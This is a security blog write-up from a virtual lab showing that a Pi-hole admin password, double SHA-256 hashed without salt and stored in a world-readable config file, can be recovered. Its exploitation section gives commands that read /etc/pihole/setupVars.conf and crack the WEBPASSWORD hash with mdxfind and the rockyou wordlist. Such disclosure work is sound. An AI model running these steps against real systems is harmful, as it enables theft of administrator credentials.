Defmax.io

Cracking pi-hole passwords

Salman Asad | @deathflash1411

07th June, 2021

Table of contents

Author

root@kali~# whoami

I am **Salman Asad**, an Offensive Security Certified Professional (OSCP) and a Certified Ethical Hacker (CEH v10). I'm pursuing a bachelor's degree in Computer Science & Engineering, I've immense interest in fields related to cyber security. I spend most of my time building boxes and hunting bugs.

Introduction

This research paper will shed light on cracking pi-hole password hashes. The pi-hole admin hashes are simply hashed twice without salt, this allows attackers to crack the password hashes easily using a tool called mdxfind. However local access is needed to obtain the password hash stored by pi-hole. We will perform this in a virtual environment for better understanding.

Key Terms

Pi-hole, SHA-256, Double hashing, Hashcat, MDXfind.

Definitions

1. **Pi-hole**

   The Pi-hole is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.

2. **SHA-256**

   SHA-2 (Secure Hash Algorithm 2) is a set of cryptographic hash functions designed by the United States National Security Agency (NSA) and first published in 2001.

3. **Double hashing**

   Hashing is the transformation of a string of characters into a usually shorter fixed-length value or key that represents the original string. Double hashing is a technique in which the strings are hashed twice.

4. **Hashcat**

   hashcat is the world's fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.

5. **MDXfind**

   MDXfind is another password cracking tool with advanced features.

Virtual Environment

Attacker machine: Kali Linux 2021.1 (Virtual Machine running on VMWare)

Target machine: Raspberry Pi Desktop (Virtual Machine running on VMWare)

1. Install pi-hole on target machine, use default settings when prompted.

```
curl -sSL https://install.pi-hole.net | bash
```

2. Change pi-hole password to “flash”.

```
pihole -a -p
```

```
root@raspberry:~# pihole -a -p
Enter New Password (Blank for no password):
Confirm Password:
  [✓] New password set
```

Exploitation

1. The pi-hole password hash is saved in /etc/pihole/setupVars.conf
2. By default the file can be read by anyone.

```
cat /etc/pihole/setupVars.conf
```

```
pi@raspberry:~ $ ls -l /etc/pihole/setupVars.conf
-rw-r--r-- 1 root root 318 Jun  7 10:34 /etc/pihole/setupVars.conf
```

3. Copy the password hash located in WEBPASSWORD variable.

```
pi@raspberry:~ $ cat /etc/pihole/setupVars.conf
PIHOLE_INTERFACE=eth0
IPV4_ADDRESS=192.168.245.130/24
IPV6_ADDRESS=
PIHOLE_DNS_1=8.8.8.8
PIHOLE_DNS_2=8.8.4.4
QUERY_LOGGING=true
INSTALL_WEB_SERVER=true
INSTALL_WEB_INTERFACE=true
LIGHTTPD_ENABLED=true
CACHE_SIZE=10000
BLOCKING_ENABLED=true
WEBPASSWORD=bccabd84061a09bccc5d3137f045c082dd4181a838f6b5774d8f5265c16cdd69
```

4. Identify the hash type using hash-identifer in Kali Linux.

```
> Executing "hash-identifier"
   ##########################################################################
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                v1.2    #
   #                                                             By Zion3R  #
   #                                                        www.Blackploit.com #
   #                                                        Root@Blackploit.com #
   ##########################################################################
--------------------------------------------------
 HASH: bccabd84061a09bccc5d3137f045c082dd4181a838f6b5774d8f5265c16cdd69

Possible Hashs:
[+] SHA-256
[+] Haval-256
```

5. SHA-256 is the most possible hash type.
6. Cracking the hash with hashcat with different SHA-256 modes wont' work.
7. This github issue mentions that the passwords are simply hashed twice.
8. Download mdxfind from here.

```
wget https://www.techsolvency.com/pub/bin/mdxfind/mdxfind.static -O mdxfind && chmod +x mdxfind
```

9. Generate all SHA-256 hashes (non-salted) from the wordlist rockyou.txt and grep out the required hash.

```
./mdxfind -h 'SHA256' -h '!salt,!user' /usr/share/wordlists/rockyou.txt -z -f /dev/null -i 2 stdin 2>&1| grep bccabd84061a09bccc5d3137f045c082dd4181a838f6b5774d8f5265c16cdd69
```

10. We have successfully cracked the pi-hole's password hash.

Conclusion

Simply hashing a password twice doesn't make it secure enough.

References

- https://deathflash.ml/blog/cracking-pi-hole-passwords
- https://www.techsolvency.com/pub/bin/mdxfind/
- https://0xln.pw/MDXfindbible
- https://github.com/pi-hole/pi-hole/issues/2521